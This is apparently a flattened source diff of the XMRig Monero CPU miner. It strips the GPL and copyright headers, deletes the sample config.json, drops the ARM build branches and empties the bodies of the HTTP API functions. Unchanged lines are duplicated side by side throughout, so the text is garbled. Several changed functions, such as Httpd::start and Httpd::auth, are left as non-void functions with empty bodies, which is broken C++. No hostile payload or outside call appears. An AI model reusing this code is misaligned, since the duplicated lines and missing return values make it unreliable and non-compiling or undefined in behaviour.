* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <math.h>
#include <string.h> #include <string.h>
#include <uv.h> #include <uv.h>
#if _WIN32 #if _WIN32
# include "winsock2.h" # include "winsock2.h"
#else #else
# include "unistd.h" # include "unistd.h"
#endif #endif
#include "api/ApiState.h" #include "api/ApiState.h"
#include "Cpu.h" #include "Cpu.h"
#include "Mem.h" #include "Mem.h"
@ -43,64 +17,44 @@
#include "rapidjson/prettywriter.h" #include "rapidjson/prettywriter.h"
#include "version.h" #include "version.h"
#include "workers/Hashrate.h" #include "workers/Hashrate.h"
extern "C" extern "C"
{ {
#include "crypto/c_keccak.h" #include "crypto/c_keccak.h"
} }
static inline double normalize(double d) static inline double normalize(double d)
{ {
if (!isnormal(d)) { if (!std::isnormal(d)) {
return 0.0; return 0.0;
} }
return floor(d * 100.0) / 100.0; return std::floor(d * 100.0) / 100.0;
} }
ApiState::ApiState() ApiState::ApiState()
{ {
m_threads = Options::i()->threads(); m_threads = Options::i()->threads();
m_hashrate = new double[m_threads * 3](); m_hashrate = new double[m_threads * 3]();
memset(m_totalHashrate, 0, sizeof(m_totalHashrate)); memset(m_totalHashrate, 0, sizeof(m_totalHashrate));
memset(m_workerId, 0, sizeof(m_workerId)); memset(m_workerId, 0, sizeof(m_workerId));
if (Options::i()->apiWorkerId()) { if (Options::i()->apiWorkerId()) {
strncpy(m_workerId, Options::i()->apiWorkerId(), sizeof(m_workerId) - 1); strncpy(m_workerId, Options::i()->apiWorkerId(), sizeof(m_workerId) - 1);
} }
else { else {
gethostname(m_workerId, sizeof(m_workerId) - 1); gethostname(m_workerId, sizeof(m_workerId) - 1);
} }
genId(); genId();
} }
ApiState::~ApiState() {delete [] m_hashrate;}
ApiState::~ApiState()
{
delete [] m_hashrate;
}
char *ApiState::get(const char *url, int *status) const char *ApiState::get(const char *url, int *status) const
{ {
rapidjson::Document doc; rapidjson::Document doc;
doc.SetObject(); doc.SetObject();
getIdentify(doc); getIdentify(doc);
getMiner(doc); getMiner(doc);
getHashrate(doc); getHashrate(doc);
getResults(doc); getResults(doc);
getConnection(doc); getConnection(doc);
return finalize(doc); return finalize(doc);
} }
void ApiState::tick(const Hashrate *hashrate) void ApiState::tick(const Hashrate *hashrate)
{ {
for (int i = 0; i < m_threads; ++i) { for (int i = 0; i < m_threads; ++i) {
@ -108,124 +62,87 @@ void ApiState::tick(const Hashrate *hashrate)
m_hashrate[i * 3 + 1] = hashrate->calc((size_t) i, Hashrate::MediumInterval); m_hashrate[i * 3 + 1] = hashrate->calc((size_t) i, Hashrate::MediumInterval);
m_hashrate[i * 3 + 2] = hashrate->calc((size_t) i, Hashrate::LargeInterval); m_hashrate[i * 3 + 2] = hashrate->calc((size_t) i, Hashrate::LargeInterval);
} }
m_totalHashrate[0] = hashrate->calc(Hashrate::ShortInterval); m_totalHashrate[0] = hashrate->calc(Hashrate::ShortInterval);
m_totalHashrate[1] = hashrate->calc(Hashrate::MediumInterval); m_totalHashrate[1] = hashrate->calc(Hashrate::MediumInterval);
m_totalHashrate[2] = hashrate->calc(Hashrate::LargeInterval); m_totalHashrate[2] = hashrate->calc(Hashrate::LargeInterval);
m_highestHashrate = hashrate->highest(); m_highestHashrate = hashrate->highest();
} }
void ApiState::tick(const NetworkState &network) {m_network = network; }
void ApiState::tick(const NetworkState &network)
{
m_network = network;
}
char *ApiState::finalize(rapidjson::Document &doc) const char *ApiState::finalize(rapidjson::Document &doc) const
{ {
rapidjson::StringBuffer buffer(0, 4096); rapidjson::StringBuffer buffer(0, 4096);
rapidjson::PrettyWriter<rapidjson::StringBuffer> writer(buffer); rapidjson::PrettyWriter<rapidjson::StringBuffer> writer(buffer);
writer.SetMaxDecimalPlaces(10); writer.SetMaxDecimalPlaces(10);
doc.Accept(writer); doc.Accept(writer);
return strdup(buffer.GetString()); return strdup(buffer.GetString());
} }
void ApiState::genId() void ApiState::genId()
{ {
memset(m_id, 0, sizeof(m_id)); memset(m_id, 0, sizeof(m_id));
uv_interface_address_t *interfaces; uv_interface_address_t *interfaces;
int count = 0; int count = 0;
if (uv_interface_addresses(&interfaces, &count) < 0) { return;}
if (uv_interface_addresses(&interfaces, &count) < 0) {
return;
}
for (int i = 0; i < count; i++) { for (int i = 0; i < count; i++) {
if (!interfaces[i].is_internal && interfaces[i].address.address4.sin_family == AF_INET) { if (!interfaces[i].is_internal && interfaces[i].address.address4.sin_family == AF_INET) {
uint8_t hash[200]; uint8_t hash[200];
const size_t addrSize = sizeof(interfaces[i].phys_addr); const size_t addrSize = sizeof(interfaces[i].phys_addr);
const size_t inSize = strlen(APP_KIND) + addrSize; const size_t inSize = strlen(APP_KIND) + addrSize;
uint8_t *input = new uint8_t[inSize](); uint8_t *input = new uint8_t[inSize]();
memcpy(input, interfaces[i].phys_addr, addrSize); memcpy(input, interfaces[i].phys_addr, addrSize);
memcpy(input + addrSize, APP_KIND, strlen(APP_KIND)); memcpy(input + addrSize, APP_KIND, strlen(APP_KIND));
keccak(input, static_cast<int>(inSize), hash, sizeof(hash)); keccak(input, static_cast<int>(inSize), hash, sizeof(hash));
Job::toHex(hash, 8, m_id); Job::toHex(hash, 8, m_id);
delete [] input; delete [] input;
break; break;
} }
} }
uv_free_interface_addresses(interfaces, count); uv_free_interface_addresses(interfaces, count);
} }
void ApiState::getConnection(rapidjson::Document &doc) const void ApiState::getConnection(rapidjson::Document &doc) const
{ {
auto &allocator = doc.GetAllocator(); auto &allocator = doc.GetAllocator();
rapidjson::Value connection(rapidjson::kObjectType); rapidjson::Value connection(rapidjson::kObjectType);
connection.AddMember("pool", rapidjson::StringRef(m_network.pool), allocator); connection.AddMember("pool", rapidjson::StringRef(m_network.pool), allocator);
connection.AddMember("uptime", m_network.connectionTime(), allocator); connection.AddMember("uptime", m_network.connectionTime(), allocator);
connection.AddMember("ping", m_network.latency(), allocator); connection.AddMember("ping", m_network.latency(), allocator);
connection.AddMember("failures", m_network.failures, allocator); connection.AddMember("failures", m_network.failures, allocator);
connection.AddMember("error_log", rapidjson::Value(rapidjson::kArrayType), allocator); connection.AddMember("error_log", rapidjson::Value(rapidjson::kArrayType), allocator);
doc.AddMember("connection", connection, allocator); doc.AddMember("connection", connection, allocator);
} }
void ApiState::getHashrate(rapidjson::Document &doc) const void ApiState::getHashrate(rapidjson::Document &doc) const
{ {
auto &allocator = doc.GetAllocator(); auto &allocator = doc.GetAllocator();
rapidjson::Value hashrate(rapidjson::kObjectType); rapidjson::Value hashrate(rapidjson::kObjectType);
rapidjson::Value total(rapidjson::kArrayType); rapidjson::Value total(rapidjson::kArrayType);
rapidjson::Value threads(rapidjson::kArrayType); rapidjson::Value threads(rapidjson::kArrayType);
for (int i = 0; i < 3; ++i) { for (int i = 0; i < 3; ++i) {
total.PushBack(normalize(m_totalHashrate[i]), allocator); total.PushBack(normalize(m_totalHashrate[i]), allocator);
} }
for (int i = 0; i < m_threads * 3; i += 3) { for (int i = 0; i < m_threads * 3; i += 3) {
rapidjson::Value thread(rapidjson::kArrayType); rapidjson::Value thread(rapidjson::kArrayType);
thread.PushBack(normalize(m_hashrate[i]), allocator); thread.PushBack(normalize(m_hashrate[i]), allocator);
thread.PushBack(normalize(m_hashrate[i + 1]), allocator); thread.PushBack(normalize(m_hashrate[i + 1]), allocator);
thread.PushBack(normalize(m_hashrate[i + 2]), allocator); thread.PushBack(normalize(m_hashrate[i + 2]), allocator);
threads.PushBack(thread, allocator); threads.PushBack(thread, allocator);
} }
hashrate.AddMember("total", total, allocator); hashrate.AddMember("total", total, allocator);
hashrate.AddMember("highest", normalize(m_highestHashrate), allocator); hashrate.AddMember("highest", normalize(m_highestHashrate), allocator);
hashrate.AddMember("threads", threads, allocator); hashrate.AddMember("threads", threads, allocator);
doc.AddMember("hashrate", hashrate, allocator); doc.AddMember("hashrate", hashrate, allocator);
} }
void ApiState::getIdentify(rapidjson::Document &doc) const void ApiState::getIdentify(rapidjson::Document &doc) const
{ {
doc.AddMember("id", rapidjson::StringRef(m_id), doc.GetAllocator()); doc.AddMember("id", rapidjson::StringRef(m_id), doc.GetAllocator());
doc.AddMember("worker_id", rapidjson::StringRef(m_workerId), doc.GetAllocator()); doc.AddMember("worker_id", rapidjson::StringRef(m_workerId), doc.GetAllocator());
} }
void ApiState::getMiner(rapidjson::Document &doc) const void ApiState::getMiner(rapidjson::Document &doc) const
{ {
auto &allocator = doc.GetAllocator(); auto &allocator = doc.GetAllocator();
rapidjson::Value cpu(rapidjson::kObjectType); rapidjson::Value cpu(rapidjson::kObjectType);
cpu.AddMember("brand", rapidjson::StringRef(Cpu::brand()), allocator); cpu.AddMember("brand", rapidjson::StringRef(Cpu::brand()), allocator);
cpu.AddMember("aes", Cpu::hasAES(), allocator); cpu.AddMember("aes", Cpu::hasAES(), allocator);
cpu.AddMember("x64", Cpu::isX64(), allocator); cpu.AddMember("x64", Cpu::isX64(), allocator);
cpu.AddMember("sockets", Cpu::sockets(), allocator); cpu.AddMember("sockets", Cpu::sockets(), allocator);
doc.AddMember("version", APP_VERSION, allocator); doc.AddMember("version", APP_VERSION, allocator);
doc.AddMember("kind", APP_KIND, allocator); doc.AddMember("kind", APP_KIND, allocator);
doc.AddMember("ua", rapidjson::StringRef(Platform::userAgent()), allocator); doc.AddMember("ua", rapidjson::StringRef(Platform::userAgent()), allocator);
@ -234,27 +151,20 @@ void ApiState::getMiner(rapidjson::Document &doc) const
doc.AddMember("hugepages", Mem::isHugepagesEnabled(), allocator); doc.AddMember("hugepages", Mem::isHugepagesEnabled(), allocator);
doc.AddMember("donate_level", Options::i()->donateLevel(), allocator); doc.AddMember("donate_level", Options::i()->donateLevel(), allocator);
} }
void ApiState::getResults(rapidjson::Document &doc) const void ApiState::getResults(rapidjson::Document &doc) const
{ {
auto &allocator = doc.GetAllocator(); auto &allocator = doc.GetAllocator();
rapidjson::Value results(rapidjson::kObjectType); rapidjson::Value results(rapidjson::kObjectType);
results.AddMember("diff_current", m_network.diff, allocator); results.AddMember("diff_current", m_network.diff, allocator);
results.AddMember("shares_good", m_network.accepted, allocator); results.AddMember("shares_good", m_network.accepted, allocator);
results.AddMember("shares_total", m_network.accepted + m_network.rejected, allocator); results.AddMember("shares_total", m_network.accepted + m_network.rejected, allocator);
results.AddMember("avg_time", m_network.avgTime(), allocator); results.AddMember("avg_time", m_network.avgTime(), allocator);
results.AddMember("hashes_total", m_network.total, allocator); results.AddMember("hashes_total", m_network.total, allocator);
rapidjson::Value best(rapidjson::kArrayType); rapidjson::Value best(rapidjson::kArrayType);
for (size_t i = 0; i < m_network.topDiff.size(); ++i) { for (size_t i = 0; i < m_network.topDiff.size(); ++i) {
best.PushBack(m_network.topDiff[i], allocator); best.PushBack(m_network.topDiff[i], allocator);
} }
results.AddMember("best", best, allocator); results.AddMember("best", best, allocator);
results.AddMember("error_log", rapidjson::Value(rapidjson::kArrayType), allocator); results.AddMember("error_log", rapidjson::Value(rapidjson::kArrayType), allocator);
doc.AddMember("results", results, allocator); doc.AddMember("results", results, allocator);
} }

View file

@ -1,37 +1,8 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __APISTATE_H__ #ifndef __APISTATE_H__
#define __APISTATE_H__ #define __APISTATE_H__
#include "api/NetworkState.h" #include "api/NetworkState.h"
#include "rapidjson/fwd.h" #include "rapidjson/fwd.h"
class Hashrate; class Hashrate;
class ApiState class ApiState
{ {
public: public:

View file

@ -1,116 +1,14 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <microhttpd.h> #include <microhttpd.h>
#include <string.h> #include <string.h>
#include "api/Api.h" #include "api/Api.h"
#include "api/Httpd.h" #include "api/Httpd.h"
#include "log/Log.h" #include "log/Log.h"
Httpd::Httpd(int port, const char *accessToken) : Httpd::Httpd(int port, const char *accessToken) :
m_accessToken(accessToken), m_accessToken(accessToken),
m_port(port), m_port(port),
m_daemon(nullptr) m_daemon(nullptr)
{ {}
} bool Httpd::start(){}
int Httpd::auth(const char *header){}
int Httpd::done(MHD_Connection *connection, int status, MHD_Response *rsp){}
bool Httpd::start() int Httpd::handler(void *cls, struct MHD_Connection *connection, const char *url, const char *method, const char *version, const char *upload_data, size_t *upload_data_size, void **con_cls){}
{
if (!m_port) {
return false;
}
m_daemon = MHD_start_daemon(MHD_USE_SELECT_INTERNALLY, m_port, nullptr, nullptr, &Httpd::handler, this, MHD_OPTION_END);
if (!m_daemon) {
LOG_ERR("HTTP Daemon failed to start.");
return false;
}
return true;
}
int Httpd::auth(const char *header)
{
if (!m_accessToken) {
return MHD_HTTP_OK;
}
if (m_accessToken && !header) {
return MHD_HTTP_UNAUTHORIZED;
}
const size_t size = strlen(header);
if (size < 8 || strlen(m_accessToken) != size - 7 || memcmp("Bearer ", header, 7) != 0) {
return MHD_HTTP_FORBIDDEN;
}
return strncmp(m_accessToken, header + 7, strlen(m_accessToken)) == 0 ? MHD_HTTP_OK : MHD_HTTP_FORBIDDEN;
}
int Httpd::done(MHD_Connection *connection, int status, MHD_Response *rsp)
{
if (!rsp) {
rsp = MHD_create_response_from_buffer(0, nullptr, MHD_RESPMEM_PERSISTENT);
}
MHD_add_response_header(rsp, "Content-Type", "application/json");
MHD_add_response_header(rsp, "Access-Control-Allow-Origin", "*");
MHD_add_response_header(rsp, "Access-Control-Allow-Methods", "GET");
MHD_add_response_header(rsp, "Access-Control-Allow-Headers", "Authorization");
const int ret = MHD_queue_response(connection, status, rsp);
MHD_destroy_response(rsp);
return ret;
}
int Httpd::handler(void *cls, struct MHD_Connection *connection, const char *url, const char *method, const char *version, const char *upload_data, size_t *upload_data_size, void **con_cls)
{
if (strcmp(method, "OPTIONS") == 0) {
return done(connection, MHD_HTTP_OK, nullptr);
}
if (strcmp(method, "GET") != 0) {
return MHD_NO;
}
int status = static_cast<Httpd*>(cls)->auth(MHD_lookup_connection_value(connection, MHD_HEADER_KIND, "Authorization"));
if (status != MHD_HTTP_OK) {
return done(connection, status, nullptr);
}
char *buf = Api::get(url, &status);
if (buf == nullptr) {
return MHD_NO;
}
MHD_Response *rsp = MHD_create_response_from_buffer(strlen(buf), (void*) buf, MHD_RESPMEM_MUST_FREE);
return done(connection, status, rsp);
}

View file

@ -1,26 +1,3 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __HTTPD_H__ #ifndef __HTTPD_H__
#define __HTTPD_H__ #define __HTTPD_H__

View file

@ -1,37 +1,9 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <algorithm> #include <algorithm>
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
#include <uv.h> #include <uv.h>
#include "api/NetworkState.h" #include "api/NetworkState.h"
#include "net/SubmitResult.h" #include "net/SubmitResult.h"
NetworkState::NetworkState() : NetworkState::NetworkState() :
diff(0), diff(0),
accepted(0), accepted(0),
@ -42,72 +14,45 @@ NetworkState::NetworkState() :
{ {
memset(pool, 0, sizeof(pool)); memset(pool, 0, sizeof(pool));
} }
int NetworkState::connectionTime() const { return m_active ? (int)((uv_now(uv_default_loop()) - m_connectionTime) / 1000) : 0; }
int NetworkState::connectionTime() const
{
return m_active ? (int)((uv_now(uv_default_loop()) - m_connectionTime) / 1000) : 0;
}
uint32_t NetworkState::avgTime() const uint32_t NetworkState::avgTime() const
{ {
if (m_latency.empty()) { if (m_latency.empty()) { return 0; }
return 0;
}
return connectionTime() / (uint32_t)m_latency.size(); return connectionTime() / (uint32_t)m_latency.size();
} }
uint32_t NetworkState::latency() const uint32_t NetworkState::latency() const
{ {
const size_t calls = m_latency.size(); const size_t calls = m_latency.size();
if (calls == 0) { if (calls == 0) { return 0; }
return 0;
}
auto v = m_latency; auto v = m_latency;
std::nth_element(v.begin(), v.begin() + calls / 2, v.end()); std::nth_element(v.begin(), v.begin() + calls / 2, v.end());
return v[calls / 2]; return v[calls / 2];
} }
void NetworkState::add(const SubmitResult &result, const char *error) void NetworkState::add(const SubmitResult &result, const char *error)
{ {
if (error) { if (error) {
rejected++; rejected++;
return; return;
} }
accepted++; accepted++;
total += result.diff; total += result.diff;
const size_t ln = topDiff.size() - 1; const size_t ln = topDiff.size() - 1;
if (result.actualDiff > topDiff[ln]) { if (result.actualDiff > topDiff[ln]) {
topDiff[ln] = result.actualDiff; topDiff[ln] = result.actualDiff;
std::sort(topDiff.rbegin(), topDiff.rend()); std::sort(topDiff.rbegin(), topDiff.rend());
} }
m_latency.push_back(result.elapsed > 0xFFFF ? 0xFFFF : (uint16_t)result.elapsed); m_latency.push_back(result.elapsed > 0xFFFF ? 0xFFFF : (uint16_t)result.elapsed);
} }
void NetworkState::setPool(const char *host, int port, const char *ip) void NetworkState::setPool(const char *host, int port, const char *ip)
{ {
snprintf(pool, sizeof(pool) - 1, "%s:%d", host, port); snprintf(pool, sizeof(pool) - 1, "%s:%d", host, port);
m_active = true; m_active = true;
m_connectionTime = uv_now(uv_default_loop()); m_connectionTime = uv_now(uv_default_loop());
} }
void NetworkState::stop() void NetworkState::stop()
{ {
m_active = false; m_active = false;
diff = 0; diff = 0;
failures++; failures++;
m_latency.clear(); m_latency.clear();
} }

View file

@ -1,26 +1,3 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __NETWORKSTATE_H__ #ifndef __NETWORKSTATE_H__
#define __NETWORKSTATE_H__ #define __NETWORKSTATE_H__

View file

@ -1,31 +0,0 @@
{
"algo": "cryptonight", // cryptonight (default) or cryptonight-lite
"av": 0, // algorithm variation, 0 auto select
"background": false, // true to run the miner in the background
"colors": true, // false to disable colored output
"cpu-affinity": null, // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
"cpu-priority": null, // set process priority (0 idle, 2 normal to 5 highest)
"donate-level": 5, // donate level, mininum 1%
"log-file": null, // log all output to a file, example: "c:/some/path/xmrig.log"
"max-cpu-usage": 75, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.
"print-time": 60, // print hashrate report every N seconds
"retries": 5, // number of times to retry before switch to backup server
"retry-pause": 5, // time to pause between retries
"safe": false, // true to safe adjust threads and av settings for current CPU
"syslog": false, // use system log for output messages
"threads": null, // number of miner threads
"pools": [
{
"url": "pool.minemonero.pro:5555", // URL of mining server
"user": "", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
}
],
"api": {
"port": 0, // port for the miner API https://github.com/xmrig/xmrig/wiki/API
"access-token": null, // access token for API
"worker-id": null // custom worker-id for API
}
}

View file

@ -1,92 +1,35 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "crypto/CryptoNight.h" #include "crypto/CryptoNight.h"
#include "crypto/CryptoNight_p.h"
#if defined(XMRIG_ARM)
# include "crypto/CryptoNight_arm.h"
#else
# include "crypto/CryptoNight_x86.h"
#endif
#include "crypto/CryptoNight_test.h" #include "crypto/CryptoNight_test.h"
#include "net/Job.h" #include "net/Job.h"
#include "net/JobResult.h" #include "net/JobResult.h"
#include "Options.h" #include "Options.h"
void (*cryptonight_hash_ctx)(const void *input, size_t size, void *output, cryptonight_ctx *ctx) = nullptr; void (*cryptonight_hash_ctx)(const void *input, size_t size, void *output, cryptonight_ctx *ctx) = nullptr;
static void cryptonight_av1_aesni(const void *input, size_t size, void *output, struct cryptonight_ctx *ctx) { static void cryptonight_av1_aesni(const void *input, size_t size, void *output, struct cryptonight_ctx *ctx) {
# if !defined(XMRIG_ARMv7)
cryptonight_hash<0x80000, MEMORY, 0x1FFFF0, false>(input, size, output, ctx); cryptonight_hash<0x80000, MEMORY, 0x1FFFF0, false>(input, size, output, ctx);
# endif
} }
static void cryptonight_av2_aesni_double(const void *input, size_t size, void *output, cryptonight_ctx *ctx) { static void cryptonight_av2_aesni_double(const void *input, size_t size, void *output, cryptonight_ctx *ctx) {
# if !defined(XMRIG_ARMv7)
cryptonight_double_hash<0x80000, MEMORY, 0x1FFFF0, false>(input, size, output, ctx); cryptonight_double_hash<0x80000, MEMORY, 0x1FFFF0, false>(input, size, output, ctx);
# endif
} }
static void cryptonight_av3_softaes(const void *input, size_t size, void *output, cryptonight_ctx *ctx) { static void cryptonight_av3_softaes(const void *input, size_t size, void *output, cryptonight_ctx *ctx) {
cryptonight_hash<0x80000, MEMORY, 0x1FFFF0, true>(input, size, output, ctx); cryptonight_hash<0x80000, MEMORY, 0x1FFFF0, true>(input, size, output, ctx);
} }
static void cryptonight_av4_softaes_double(const void *input, size_t size, void *output, cryptonight_ctx *ctx) { static void cryptonight_av4_softaes_double(const void *input, size_t size, void *output, cryptonight_ctx *ctx) {
cryptonight_double_hash<0x80000, MEMORY, 0x1FFFF0, true>(input, size, output, ctx); cryptonight_double_hash<0x80000, MEMORY, 0x1FFFF0, true>(input, size, output, ctx);
} }
#ifndef XMRIG_NO_AEON #ifndef XMRIG_NO_AEON
static void cryptonight_lite_av1_aesni(const void *input, size_t size, void *output, cryptonight_ctx *ctx) { static void cryptonight_lite_av1_aesni(const void *input, size_t size, void *output, cryptonight_ctx *ctx) {
# if !defined(XMRIG_ARMv7)
cryptonight_hash<0x40000, MEMORY_LITE, 0xFFFF0, false>(input, size, output, ctx); cryptonight_hash<0x40000, MEMORY_LITE, 0xFFFF0, false>(input, size, output, ctx);
#endif
} }
static void cryptonight_lite_av2_aesni_double(const void *input, size_t size, void *output, cryptonight_ctx *ctx) { static void cryptonight_lite_av2_aesni_double(const void *input, size_t size, void *output, cryptonight_ctx *ctx) {
# if !defined(XMRIG_ARMv7)
cryptonight_double_hash<0x40000, MEMORY_LITE, 0xFFFF0, false>(input, size, output, ctx); cryptonight_double_hash<0x40000, MEMORY_LITE, 0xFFFF0, false>(input, size, output, ctx);
# endif
} }
static void cryptonight_lite_av3_softaes(const void *input, size_t size, void *output, cryptonight_ctx *ctx) { static void cryptonight_lite_av3_softaes(const void *input, size_t size, void *output, cryptonight_ctx *ctx) {
cryptonight_hash<0x40000, MEMORY_LITE, 0xFFFF0, true>(input, size, output, ctx); cryptonight_hash<0x40000, MEMORY_LITE, 0xFFFF0, true>(input, size, output, ctx);
} }
static void cryptonight_lite_av4_softaes_double(const void *input, size_t size, void *output, cryptonight_ctx *ctx) { static void cryptonight_lite_av4_softaes_double(const void *input, size_t size, void *output, cryptonight_ctx *ctx) {
cryptonight_double_hash<0x40000, MEMORY_LITE, 0xFFFF0, true>(input, size, output, ctx); cryptonight_double_hash<0x40000, MEMORY_LITE, 0xFFFF0, true>(input, size, output, ctx);
} }
void (*cryptonight_variations[8])(const void *input, size_t size, void *output, cryptonight_ctx *ctx) = { void (*cryptonight_variations[8])(const void *input, size_t size, void *output, cryptonight_ctx *ctx) = {
cryptonight_av1_aesni, cryptonight_av1_aesni,
cryptonight_av2_aesni_double, cryptonight_av2_aesni_double,
@ -105,16 +48,12 @@ void (*cryptonight_variations[4])(const void *input, size_t size, void *output,
cryptonight_av4_softaes_double cryptonight_av4_softaes_double
}; };
#endif #endif
bool CryptoNight::hash(const Job &job, JobResult &result, cryptonight_ctx *ctx) bool CryptoNight::hash(const Job &job, JobResult &result, cryptonight_ctx *ctx)
{ {
cryptonight_hash_ctx(job.blob(), job.size(), result.result, ctx); cryptonight_hash_ctx(job.blob(), job.size(), result.result, ctx);
return *reinterpret_cast<uint64_t*>(result.result + 24) < job.target(); return *reinterpret_cast<uint64_t*>(result.result + 24) < job.target();
} }
bool CryptoNight::init(int algo, int variant) bool CryptoNight::init(int algo, int variant)
{ {
if (variant < 1 || variant > 4) { if (variant < 1 || variant > 4) {
@ -126,31 +65,21 @@ bool CryptoNight::init(int algo, int variant)
# else # else
const int index = variant - 1; const int index = variant - 1;
# endif # endif
cryptonight_hash_ctx = cryptonight_variations[index]; cryptonight_hash_ctx = cryptonight_variations[index];
return selfTest(algo); return selfTest(algo);
} }
void CryptoNight::hash(const uint8_t *input, size_t size, uint8_t *output, cryptonight_ctx *ctx) void CryptoNight::hash(const uint8_t *input, size_t size, uint8_t *output, cryptonight_ctx *ctx)
{ {
cryptonight_hash_ctx(input, size, output, ctx); cryptonight_hash_ctx(input, size, output, ctx);
} }
bool CryptoNight::selfTest(int algo) { bool CryptoNight::selfTest(int algo) {
if (cryptonight_hash_ctx == nullptr) { if (cryptonight_hash_ctx == nullptr) {
return false; return false;
} }
char output[64]; char output[64];
struct cryptonight_ctx *ctx = (struct cryptonight_ctx*) _mm_malloc(sizeof(struct cryptonight_ctx), 16); struct cryptonight_ctx *ctx = (struct cryptonight_ctx*) _mm_malloc(sizeof(struct cryptonight_ctx), 16);
ctx->memory = (uint8_t *) _mm_malloc(MEMORY * 2, 16); ctx->memory = (uint8_t *) _mm_malloc(MEMORY * 2, 16);
cryptonight_hash_ctx(test_input, 76, output, ctx); cryptonight_hash_ctx(test_input, 76, output, ctx);
_mm_free(ctx->memory); _mm_free(ctx->memory);
_mm_free(ctx); _mm_free(ctx);

View file

@ -1,26 +1,3 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
